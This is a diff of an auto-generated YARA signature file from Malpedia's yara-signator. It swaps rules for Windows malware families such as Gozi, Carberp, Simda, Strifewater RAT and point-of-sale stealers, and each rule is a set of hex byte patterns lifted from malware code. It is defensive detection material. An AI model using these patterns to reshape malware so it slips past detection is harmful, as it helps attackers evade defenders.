+		$sequence_185 = { 01f2 6683f9ff 896c2428 7508 }
+		$sequence_186 = { eb67 8044241301 0fb6ca 01cb 30c9 eb59 }
+		$sequence_187 = { 83c304 894c2410 56 90 }
+		$sequence_188 = { 5e 01d5 01d3 b101 3b5c2428 0f8266ffffff }
+		$sequence_189 = { 8b5d10 6601da c1ca03 895510 3010 }
 
 	condition:
-		7 of them and filesize <983040
+		7 of them and filesize <2940928
 }
-rule MALPEDIA_Win_Gup_Proxy_Auto : FILE
+rule MALPEDIA_Win_Phandoor_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5c3bfea3-920f-5316-9eb6-180474d2cca9"
+		id = "1f3ac76b-bd09-5712-8c06-9b7787ce6d6a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gup_proxy"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gup_proxy_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phandoor"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.phandoor_auto.yar#L1-L152"
 		license_url = "N/A"
-		logic_hash = "d81f0061756179ec05e7cc548d81d0721d972a5a55f0d637cdd705d25b38ea90"
+		logic_hash = "bcca1bd5fcc5f942c80e8300ebd91840d93d57fc52bf130291de8a118788c527"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -150190,32 +157369,37 @@ rule MALPEDIA_Win_Gup_Proxy_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c744244400000000 c644243400 e8???????? c784242002000000000000 8d4c2444 6a00 }
-		$sequence_1 = { c1e606 03348510974100 33db 395e08 }
-		$sequence_2 = { 8b04bd10974100 830c06ff 33c0 eb16 e8???????? c70009000000 }
-		$sequence_3 = { c1f805 c1e606 8b048510974100 80643004fd 8b45f8 8b55fc 5f }
-		$sequence_4 = { c78588feffffc22eab48 50 8bce e8???????? 8bc3 889d88feffff c1e818 }
-		$sequence_5 = { c3 b8???????? c705????????61984000 a3???????? c705????????f2984000 c705????????4c994000 c705????????d1994000 }
-		$sequence_6 = { c784242002000000000000 8d4c2444 6a00 68???????? c74424600f000000 c744245c00000000 c644244c00 }
-		$sequence_7 = { ebb4 c745e4d8a04100 a1???????? eb1a c745e4d4a04100 a1???????? }
-		$sequence_8 = { ff15???????? 8b04bd10974100 830c06ff 33c0 }
-		$sequence_9 = { 53 ff15???????? 83f8ff 752a 32c0 }
+		$sequence_0 = { 0f8482000000 833d????????00 7479 833d????????00 7470 833d????????00 }
+		$sequence_1 = { 833d????????00 0f8452010000 833d????????00 0f8445010000 833d????????00 }
+		$sequence_2 = { 83c40c 83c302 3bbe90010000 72d7 }
+		$sequence_3 = { 83c404 8d55fc 8bf0 52 56 }
+		$sequence_4 = { 0f84c7010000 833d????????00 0f84ba010000 833d????????00 0f84ad010000 833d????????00 }
+		$sequence_5 = { 50 8bf9 c645f400 c745f500000000 e8???????? }
+		$sequence_6 = { 32d3 32d0 8b45f4 81e1fe010000 c1e018 0b45f8 }
+		$sequence_7 = { a3???????? a3???????? a3???????? a3???????? 898de8feffff }
+		$sequence_8 = { 83c404 893e 8b4604 3bc7 740c }
+		$sequence_9 = { 6a01 51 52 8b5508 }
+		$sequence_10 = { 668901 5e c3 33d2 }
+		$sequence_11 = { 33c0 3b35???????? 7327 57 }
+		$sequence_12 = { 56 8b35???????? 57 68???????? 50 c705????????03000000 }
+		$sequence_13 = { 6a01 53 51 8bc8 }
+		$sequence_14 = { 56 8b7308 85f6 7420 }
 
 	condition:
-		7 of them and filesize <247808
+		7 of them and filesize <2124800
 }
-rule MALPEDIA_Win_Cmsbrute_Auto : FILE
+rule MALPEDIA_Win_Simda_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8f79cbd4-e913-5f2c-8c88-b934c5aa8f71"
+		id = "be795d70-d5c5-5e96-885a-c6d393925d47"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cmsbrute"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cmsbrute_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.simda"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.simda_auto.yar#L1-L114"
 		license_url = "N/A"
-		logic_hash = "9b2fd3bf8cbe0036d7312658e08a3f69e7f5e49973eb02bc9f177311ac61fa60"
+		logic_hash = "3de0f7a52fa615dd54916d8a958f210fe06f4ad101457fb659a131786ec59f6f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -150229,32 +157413,32 @@ rule MALPEDIA_Win_Cmsbrute_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff7004 51 ff7510 8b4d08 ff750c 56 e8???????? }
-		$sequence_1 = { e8???????? ff4de0 8bde 75e4 8b75d8 832700 6a00 }
-		$sequence_2 = { ffb068010000 ff15???????? 8b06 83a06801000000 8b442418 59 59 }
-		$sequence_3 = { eb0f e8???????? 59 50 8d75b4 e8???????? 59 }
-		$sequence_4 = { eb02 8b01 3945fc 0f8d8a000000 8b45fc e8???????? 8bf0 }
-		$sequence_5 = { ff75c4 8b4dcc ff75d4 8bd8 0fb7463e 50 53 }
-		$sequence_6 = { eb02 33ff 8bb59cfdffff 51 e8???????? 59 85ff }
-		$sequence_7 = { ff75e4 57 e8???????? 83c414 85c0 7425 8bf7 }
-		$sequence_8 = { ff742430 e8???????? 89442430 8b4304 8378041b 8b30 8b7808 }
-		$sequence_9 = { ff15???????? 8945cc 8b35???????? 83cfff 3bdf 7403 53 }
+		$sequence_0 = { 50 c745fc04010000 a4 e8???????? }
+		$sequence_1 = { 3bce 8945f4 1bc0 40 57 895dfc }
+		$sequence_2 = { c7049f00000000 75f6 8b0f 894d08 }
+		$sequence_3 = { 760d 8b7d08 83c704 8d4eff 33c0 }
+		$sequence_4 = { c1e110 0b4df4 03d6 83ceff 2bca }
+		$sequence_5 = { 8b0d???????? 8945d4 a1???????? 8955dc 0fb615???????? }
+		$sequence_6 = { c1eb10 3bce 7601 4b c1ef10 }
+		$sequence_7 = { 83c408 85c0 74e4 6a0a 6a00 56 c60000 }
+		$sequence_8 = { 8bd1 c1ea10 8955ec 8bf8 }
+		$sequence_9 = { 41 eb08 83c102 eb03 83c103 }
 
 	condition:
-		7 of them and filesize <5275648
+		7 of them and filesize <1581056
 }
-rule MALPEDIA_Win_Ramsay_Auto : FILE
+rule MALPEDIA_Win_Strifewater_Rat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "419ecbad-236d-5c68-9c96-e25af72dd2b4"
+		id = "a7c325df-e174-5ac3-901f-1a7ff4cd21d1"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ramsay"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ramsay_auto.yar#L1-L167"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.strifewater_rat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.strifewater_rat_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "eb3826746ddecabb3a90d33f9a9bdc63a3e0601a54105640bc672d97b2815450"
+		logic_hash = "d8e033b18ffd1945f4234d82e35ef039ad0fd09fec88b912a93b43fc77397cc7"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -150268,40 +157452,34 @@ rule MALPEDIA_Win_Ramsay_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 85c0 7514 ff15???????? 83f820 }
-		$sequence_1 = { 83f820 7502 eb07 33c0 e9???????? }
-		$sequence_2 = { ff15???????? 85c0 7502 eb02 ebb1 }
-		$sequence_3 = { 83c201 8955f8 837df808 731e 8b45f8 }
-		$sequence_4 = { 894df1 884df5 c745ec00000000 6a06 8d55f0 52 }
-		$sequence_5 = { 83c404 8945f8 8b4d08 83c101 51 6a00 8b55f8 }
-		$sequence_6 = { 8b02 ba02000000 f7e2 0f90c1 f7d9 }
-		$sequence_7 = { 8945f8 837df8ff 7507 33c0 e9???????? 6a00 8b4df8 }
-		$sequence_8 = { 8a481c 884a15 8b5508 8b4508 }
-		$sequence_9 = { 3b4d08 732c e8???????? 33d2 b93e000000 }
-		$sequence_10 = { ff15???????? 85c0 751a 8b4df8 51 }
-		$sequence_11 = { ff15???????? 33c0 e9???????? e8???????? 85c0 7507 33c0 }
-		$sequence_12 = { e8???????? eb2b 83f8ff 7526 4c8d253b490100 }
-		$sequence_13 = { e8???????? eb20 488d542470 488d0d1afa0100 e8???????? 4533c0 33d2 }
-		$sequence_14 = { e8???????? eb2d 4863442468 488b4c2458 }
-		$sequence_15 = { e8???????? eb31 488b8c2428110000 e8???????? }
+		$sequence_0 = { 83630800 488d0d10400500 48890b c6434400 448ac6 488bd0 }
+		$sequence_1 = { 4183c9ff 4d8bc7 66448926 4889742420 8d4a03 ff15???????? f7d8 }
+		$sequence_2 = { 663b3d???????? 0f8559010000 663b1d???????? 0f854c010000 66443b35???????? 0f853e010000 }
+		$sequence_3 = { 488d05bb720600 488bf9 488901 8bda 488b4910 e8???????? 488b4f18 }
+		$sequence_4 = { 4803c0 480101 4803db eb22 498b06 498bce }
+		$sequence_5 = { 488bf8 48898424c0000000 488b4e08 4885c9 7509 488d15fc350900 eb0d }
+		$sequence_6 = { 0903 e9???????? 488d05d8940500 0f100f 0f1006 f30f7f4dd0 f30f7f45e0 }
+		$sequence_7 = { 418d45ff 410fb68c8332b30800 410fb6b48333b30800 8bd9 }
+		$sequence_8 = { 498b4e08 4c8d4508 33d2 ff15???????? 488b7508 4c8d4530 488bce }
+		$sequence_9 = { 884dd8 488bd3 482bd7 48d1fa 4883fa0f 7426 41b001 }
 
 	condition:
-		7 of them and filesize <2031616
+		7 of them and filesize <1552384
 }
-rule MALPEDIA_Win_Gozi_Auto : FILE
+rule MALPEDIA_Win_Newposthings_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4c65f4c6-680c-5313-afa1-f0c350a0bb9e"
+		id = "d2908836-d6a9-5323-a30e-68bb82428f91"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gozi"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gozi_auto.yar#L1-L297"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.newposthings"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.newposthings_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "d1afd0d2426cb263c17dc36f11639d4b538234ba95ec55283f83783334fcf5d3"
+		logic_hash = "aacccdc30f2a004211f7fc15df6e0bf41cf9693ce7a4e367dede73ae07376ff4"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -150313,54 +157491,32 @@ rule MALPEDIA_Win_Gozi_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b4dfc f3a4 b0e9 aa }
-		$sequence_1 = { ee 7f7b 36110b 33745571 de7e75 cd18 4a }
-		$sequence_2 = { 3327 72e7 3ebb4a68d947 d93e 257296bc4a 1b6b61 9f }
-		$sequence_3 = { e8???????? 0bc0 7522 6a01 6a00 }
-		$sequence_4 = { 2bfb 8b5518 8b12 6a00 }
-		$sequence_5 = { 4e b64e 0fc0d6 69d5920d9cef }
-		$sequence_6 = { 0fadce 80eede c0ca12 2af4 8af4 }
-		$sequence_7 = { 894598 50 e8???????? 8b4650 8b7c0704 }
-		$sequence_8 = { 83c101 894df4 8b55ec 83ea02 3955f4 0f8d45040000 }
-		$sequence_9 = { 94 6e 8ee1 54 }
-		$sequence_10 = { 7516 c78554ffffff06000000 c78558ffffff00000000 eb14 }
-		$sequence_11 = { bf???????? 8bdf c70747494638 66c747043761 83c706 8b450c }
-		$sequence_12 = { c9 50 0c73 0e 96 3b5375 }
-		$sequence_13 = { ffd7 03f0 56 53 33f6 56 }
-		$sequence_14 = { ad b710 2dc7ce5bbb d6 b6c6 }
-		$sequence_15 = { ff75e4 ffd0 c3 6a68 68???????? e8???????? }
-		$sequence_16 = { 0f8229feffff 5f 5e 5b c9 c21000 }
-		$sequence_17 = { c9 c20800 6a00 8d87950c0000 }
-		$sequence_18 = { 84c1 0fb3ea f6c1ba 0fce }
-		$sequence_19 = { 96 3b5375 60 d3e0 90 48 }
-		$sequence_20 = { 69d5ca659407 f6de c645ff61 a1???????? 8b0d???????? 6a00 }
-		$sequence_21 = { 83c101 894d90 0fb755e4 52 8b4590 }
-		$sequence_22 = { b87e8da638 e022 3a56b9 036890 2b02 9a102a6715fb53 }
-		$sequence_23 = { dc6f1b 95 bf633629a8 02738f }
-		$sequence_24 = { 83bd54ffffff03 7c0a c78554ffffff00000000 eb95 33c0 8b55f4 }
-		$sequence_25 = { 0fbe4415ec 8b8d4cffffff 038d58ffffff 0fbe11 33d0 8b854cffffff }
-		$sequence_26 = { 41 4e 75ea 5e }
-		$sequence_27 = { 0f8447010000 83f8ff 0f843e010000 682000cc00 56 }
-		$sequence_28 = { 837df800 75c7 ff75fc e8???????? c9 }
-		$sequence_29 = { 0fb3ce 86d6 2af4 b252 b0ca c745fc00000000 }
-		$sequence_30 = { e8???????? 59 8bf0 89b5e0f2ffff }
-		$sequence_31 = { 85c0 7404 8365f800 85f6 7407 8b06 }
+		$sequence_0 = { 8a4601 3c30 7c04 3c39 7e0a 3c3d 7406 }
+		$sequence_1 = { 7423 3d00000400 7550 80c980 884c3704 8b0c9d481d0210 8a443124 }
+		$sequence_2 = { 83e61f 8b0485481d0210 c1e606 80643004fd 8b45f8 8b55fc 5f }
+		$sequence_3 = { ff7510 ff750c 56 6843120110 e8???????? 83c418 85c0 }
+		$sequence_4 = { 83c602 663906 74f8 6a03 56 68548e0110 e8???????? }
+		$sequence_5 = { 50 c644245c00 8bce e8???????? 8bf0 eb02 33f6 }
+		$sequence_6 = { e8???????? 50 8bcb e8???????? c745fc00000000 c745f001000000 8bc3 }
+		$sequence_7 = { 8b049538f34500 47 ff3418 ff15???????? 85c0 750a ff15???????? }
+		$sequence_8 = { 83c204 8955e0 eb86 890cb538f34500 }
+		$sequence_9 = { e8???????? c745fc00000000 83ec18 8bcc 896588 6aff }
 
 	condition:
-		7 of them and filesize <568320
+		7 of them and filesize <827392
 }
-rule MALPEDIA_Win_3Cx_Backdoor_Auto : FILE
+rule MALPEDIA_Win_Unidentified_039_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "28fbb43b-1b49-58bb-9ada-865931dff5e6"
+		id = "79803854-9c28-5ee4-826a-7f1227d74ba5"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.3cx_backdoor"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.3cx_backdoor_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_039"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_039_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "c22c772229b5508424567ef1d7e35b9960a69d5aa0f1d8dfccaad31a703d6c0c"
+		logic_hash = "58c8fb21d6ae978d62ed7528cfbdb8da381c56d520ca5623fbbc73c80d3173d3"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -150374,32 +157530,32 @@ rule MALPEDIA_Win_3Cx_Backdoor_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8bc8 c1e907 33c1 81c287d61200 8bc8 c1e116 33c1 }
-		$sequence_1 = { 84d2 7430 3811 742c e8???????? c70016000000 }
-		$sequence_2 = { 8bfb 48895c2430 4c89742428 4983e7f0 4d8d243f 498d442410 }
-		$sequence_3 = { 4a0fbe841940250300 428a8c1950250300 482bd0 8b42fc d3e8 49895108 41894118 }
-		$sequence_4 = { 4c8bce 4c8bc5 488bd7 498bcf e8???????? 498bc6 488b5c2460 }
-		$sequence_5 = { 498bd7 4489642448 48897c2440 44894c2438 4c8d4d97 4889442430 4489642428 }
-		$sequence_6 = { 7428 85db 7524 488d0d7ef90200 e8???????? 85c0 7510 }
-		$sequence_7 = { 4889742458 488b7108 33d2 488bce 48c1eb05 492bc9 }
-		$sequence_8 = { 4983c708 4533d2 32d2 4c897c2420 80fb30 7512 b201 }
-		$sequence_9 = { 0fb608 880a 488d5210 488b4808 48894af8 448820 }
+		$sequence_0 = { b8???????? e8???????? 8365fc00 8365cc00 c745dce7600000 c745ec89640000 }
+		$sequence_1 = { c745f00b090000 c745f089000000 8975c0 c745f4b76e0000 c745fc9e540000 c745f8a7600000 }
+		$sequence_2 = { c74530284c0000 c7453425120000 c745281f480000 c74538136b0000 c74520825d0000 c7451c84360000 8b4530 }
+		$sequence_3 = { 69c9de3f0000 33c1 8945dc 8b4510 8b4d0c 3bc8 7d0c }
+		$sequence_4 = { 8bec 51 51 c745f81d2d0000 c745f8d33a0000 c745fc9a790000 }
+		$sequence_5 = { c745d0e5720000 8b45d0 8b4dd4 0fafc1 8b4dd8 8b55dc }
+		$sequence_6 = { 6bc01f c1e704 83c30c 03fa 33d2 }
+		$sequence_7 = { 69c0295a0000 8945e4 e8???????? c745e0f9750000 c745f0b56c0000 c745ec29110000 }
+		$sequence_8 = { 8d45f4 64a300000000 c3 6a00 6a01 ff74240c }
+		$sequence_9 = { c745e863430000 8b45e4 59 8b4df8 23c1 8b4de8 81e931570000 }
 
 	condition:
-		7 of them and filesize <585728
+		7 of them and filesize <262144
 }
-rule MALPEDIA_Win_Fast_Pos_Auto : FILE
+rule MALPEDIA_Win_Void_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2b4b0c9d-f48b-554f-8a11-82dc9864cf63"
+		id = "71ce776b-404f-5334-912d-5acada68aa35"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fast_pos"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fast_pos_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.void"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.void_auto.yar#L1-L114"
 		license_url = "N/A"
-		logic_hash = "cc5eee3320509f0e654a55f4440afe73bd9962689fcfc57ca050257ab2933ad2"
+		logic_hash = "c9d396773d78302d4ad6bf52fbcd07db1d946f6b7dffcc9d3a1efd465ff43099"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -150413,32 +157569,30 @@ rule MALPEDIA_Win_Fast_Pos_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c785e4feffff04010000 ff15???????? e8???????? 8bc8 33c0 }
-		$sequence_1 = { e8???????? 8b95e4feffff 83c408 85c0 0f9485ebfeffff 83c2f0 }
-		$sequence_2 = { 52 8d8de0feffff e8???????? 8bb5e0feffff 6a44 8d857cfeffff }
-		$sequence_3 = { 6a00 6a00 68???????? ffb5e8feffff ff15???????? 85c0 7517 }
-		$sequence_4 = { c645fc07 e8???????? 8bf0 c645fc08 ff15???????? }
-		$sequence_5 = { 68???????? 56 c785e8feffff01000000 e8???????? 83c40c 8bc6 }
-		$sequence_6 = { 68ffff1f00 ff15???????? 6a00 50 }
-		$sequence_7 = { e8???????? 6a10 68???????? 68???????? 6a00 ff15???????? 6a00 }
-		$sequence_8 = { 50 ff36 8d85e0feffff 68???????? }
-		$sequence_9 = { 5d c20400 8b01 6a01 ff76f4 ff10 8bf8 }
+		$sequence_0 = { 6a09 8d4c2410 51 50 e8???????? 85c0 7518 }
+		$sequence_1 = { 5d c20c00 6a00 ff750c 50 e8???????? 50 }
+		$sequence_2 = { 807d6b00 0f8483000000 6a02 8d4dc4 e8???????? 8d45c4 c745fc02000000 }
+		$sequence_3 = { 0f43c6 50 ff7514 8d45ac ff7510 50 53 }
+		$sequence_4 = { 5b 8bc1 8b4c2440 5e 5d 33cc e8???????? }
+		$sequence_5 = { 7473 8d4dec 8975ec e8???????? 53 8bcf 8b00 }
+		$sequence_6 = { 854110 7419 8d45e4 6a01 50 e8???????? 83c408 }
+		$sequence_7 = { 894610 c1e102 51 8d0490 6a00 50 e8???????? }
 
 	condition:
-		7 of them and filesize <327680
+		7 of them and filesize <2744320
 }
-rule MALPEDIA_Win_Auriga_Auto : FILE
+rule MALPEDIA_Win_Chinotto_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3e414b5e-c2de-5c81-b4bc-c099cfe4cd7e"
+		id = "eb163619-c453-5aad-acb2-63f8cb2fc096"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.auriga"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.auriga_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chinotto"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.chinotto_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "cddd7158b581ccab9be1a01dbee785ac04d84e6e50041126742a64808d1b3062"
+		logic_hash = "68ff4e71579a9ee7d4f8a0767737ed2f326ba91b5ade5aa40e96479fa8db4fb8"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -150452,32 +157606,32 @@ rule MALPEDIA_Win_Auriga_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 90 5f bb???????? 81eb???????? 2bfb 8bf7 e8???????? }
-		$sequence_1 = { 755b 817e0c03001200 7552 57 }
-		$sequence_2 = { e8???????? c9 c20c00 ffb508fcffff 8b8504fcffff 8d8405fcfbffff }
-		$sequence_3 = { 4a 3bda 745e 7345 2bd3 }
-		$sequence_4 = { 7408 8b0d???????? 8908 56 8b7508 837e0400 7422 }
-		$sequence_5 = { 53 53 6a01 6a01 56 ff15???????? 8945dc }
-		$sequence_6 = { 84c0 7511 ff7510 ff15???????? }
-		$sequence_7 = { ff45fc 8b4dec ff4df8 2bcb 295df4 ff45f8 }
-		$sequence_8 = { ffd3 8b45fc 85c0 7539 ff750c 8d45f4 }
-		$sequence_9 = { 8b85e8fbffff 85c0 7566 ffb5ecfbffff 8d85f0fbffff }
+		$sequence_0 = { 034d0c 53 56 57 8b7848 8b774c }
+		$sequence_1 = { 6a1a e8???????? 8bd8 b906000000 be???????? 8bfb f3a5 }
+		$sequence_2 = { c745f800000000 8955c8 85d2 7505 ba02000000 8b461c 8bf8 }
+		$sequence_3 = { 57 8945f0 8d5801 740e 8b4e1c 2b4e40 }
+		$sequence_4 = { 837dfc00 7514 837dd000 0f8421080000 837e2000 0f8417080000 }
+		$sequence_5 = { 8d8dd0fbffff 68???????? 51 ffd6 83c418 8d95a4f1ffff 52 }
+		$sequence_6 = { 8b5620 57 8b7e24 8bc2 0bc7 7412 8bc2 }
+		$sequence_7 = { 8a08 40 84c9 75f9 2bc7 8b7d18 }
+		$sequence_8 = { 83c434 5f 5e 33cd 8d85e0fdfcff 5b }
+		$sequence_9 = { 8b471c 50 0fafc1 034710 8d55f8 }
 
 	condition:
-		7 of them and filesize <75776
+		7 of them and filesize <300032
 }
-rule MALPEDIA_Win_Faketc_Auto : FILE
+rule MALPEDIA_Win_Taleret_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "17b42993-c08e-510a-afaa-62243000eea0"
+		id = "90652d3d-3308-5c4e-91b0-de6f7ec4ea56"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.faketc"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.faketc_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.taleret"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.taleret_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "d424513e0804264658899ed0249bf1311c7683556fe66475d3d53a03a7ef5219"
+		logic_hash = "0af9ed1f3725609b54a6e19f400c5abe16095e727614fae56d9f4e23ded04fd2"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -150491,32 +157645,32 @@ rule MALPEDIA_Win_Faketc_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? c684248001000002 8b442448 8b5004 8bce ffd2 84c0 }
-		$sequence_1 = { e8???????? 83c410 6a5e 8d8576f7ffff 50 6a00 6a00 }
-		$sequence_2 = { 899158010000 8b4508 8b484c 8b55f8 668b4104 66894248 8b4df8 }
-		$sequence_3 = { e8???????? 83c410 6a00 8b4d8c 51 6a01 8b5508 }
-		$sequence_4 = { ffd6 50 b86f000000 e8???????? 83c404 a3???????? eb06 }
-		$sequence_5 = { e9???????? 8d45d8 50 e8???????? c3 8d8548ffffff 50 }
-		$sequence_6 = { c1fa04 8bc2 c1e81f 03c2 895c2410 0f842b010000 895c241c }
-		$sequence_7 = { e8???????? 8b85b0fdffff 8b0d???????? 8d95b8fdffff 52 68???????? 50 }
-		$sequence_8 = { e8???????? b917000000 8bf0 bf???????? f3a5 66a5 c745fc02000000 }
-		$sequence_9 = { c745fc???????? c745f805000000 eb0e c745fc???????? c745f806000000 8b4d08 8b91fc030000 }
+		$sequence_0 = { c68424b40300000d e8???????? 50 8d4b18 }
+		$sequence_1 = { 8b44240c 8b4c2408 8b542404 6a00 6a00 6a03 68???????? }
+		$sequence_2 = { 51 50 68???????? 890d???????? }
+		$sequence_3 = { 8d442408 c744242401000000 50 ff15???????? 85c0 7528 8b4c2438 }
+		$sequence_4 = { 8d4e3c c644241c05 e8???????? 8d4e40 c644241c06 e8???????? }
+		$sequence_5 = { c60600 e8???????? 83c40c 85c0 7526 57 8d8c24e8000000 }
+		$sequence_6 = { 85c0 0f85b2000000 a1???????? 668b0d???????? 8a15???????? 89842480000000 }
+		$sequence_7 = { c684247016000001 e8???????? 8b9c247c160000 8b6c241c e9???????? 8b442424 8b4c2414 }
+		$sequence_8 = { 8a440444 eb02 b03d 83fd01 884301 7e33 }
+		$sequence_9 = { e8???????? 83c408 33f6 e8???????? 8a96f0700010 32d0 }
 
 	condition:
-		7 of them and filesize <6864896
+		7 of them and filesize <73728
 }
-rule MALPEDIA_Win_Makadocs_Auto : FILE
+rule MALPEDIA_Win_Carberp_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a9ee5e42-4244-5209-b209-43e241078b80"
+		id = "ca3e7da8-ad9c-59f4-8614-8b1382409083"
 		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.makadocs"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.makadocs_auto.yar#L1-L132"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.carberp"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.carberp_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "9e569b2ca005ed56a66b13fc4754517215725a380988d948b175ea6348c2d54c"
+		logic_hash = "1e5a666bd6ef8c024c58bd150c2d57a0675cba836a8af1e051301be69118758b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -150530,32 +157684,32 @@ rule MALPEDIA_Win_Makadocs_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b5d08 56 57 33f6 33ff 897dfc 3b1cfdf0524200 }
-		$sequence_1 = { 8bc6 89a554ffffff 8bfc e8???????? 83c010 8907 51 }
-		$sequence_2 = { 8b42f4 8d7001 8b42f8 b901000000 2b4afc 2bc6 0bc1 }
-		$sequence_3 = { 83c408 52 8b54243c 8d442438 50 8d4c2478 51 }
